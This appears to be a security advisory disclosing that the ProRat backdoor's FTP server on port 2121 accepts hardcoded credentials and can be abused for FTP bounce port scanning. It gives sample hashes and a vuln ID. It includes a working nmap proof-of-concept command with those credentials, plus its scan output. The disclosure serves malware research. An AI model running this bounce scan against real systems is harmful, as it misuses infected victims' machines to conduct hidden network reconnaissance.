Backdoor.Win32.Prorat.ntz Man-In-The-Middle

Backdoor.Win32.Prorat.ntz malware suffers from a man-in-the-middle vulnerability.

MD5 | 0a3e0d99910d1fad8679912a61cba12f

Discovery / credits: Malvuln - (c) 2021
Original source:
Contact: [email protected]

Threat: Backdoor.Win32.Prorat.ntz
Vulnerability: Port Bounce Scan
Description: The malware runs an FTP server that listens on TCP port 2121. Third-party attackers who successfully logon can abuse the backdoor FTP server as a man-in-the-middle machine allowing PORT Command bounce scan attacks using Nmap. This vulnerability allows remote attackers to abuse your system and discreetly conduct network port scanning. Victims will then think these scans are originating from the infected system running the afflicted malware FTP Server and not you.
Type: PE32
MD5: ab96d7f9e008a0774239be6be0c8e7bb
Vuln ID: MVID-2021-0381
Dropped files: dxdiag.exe
Disclosure: 10/27/2021

nmap -n -Pn -b neokurd:[email protected]:2121 -p21,22,23,79,80,443 -v
Starting Nmap 7.80 ( ) at 2021-10-27 13:45 Pacific Daylight Time
Resolved FTP bounce attack proxy to (
Attempting connection to ftp://neokurd:[email protected]:2121
Connected:220 Undetected by NeoKurD
Login credentials accepted by FTP server!
Initiating Bounce Scan at 13:45
Discovered open port 80/tcp on
Completed Bounce Scan at 13:45, 5.22s elapsed (6 total ports)
Nmap scan report for
Host is up.

21/tcp closed ftp
22/tcp closed ssh
23/tcp closed telnet
79/tcp closed finger
80/tcp open http
443/tcp closed https

Read data files from: C:\Program Files (x86)\Nmap
Nmap done: 1 IP address (1 host up) scanned in 14.45 seconds

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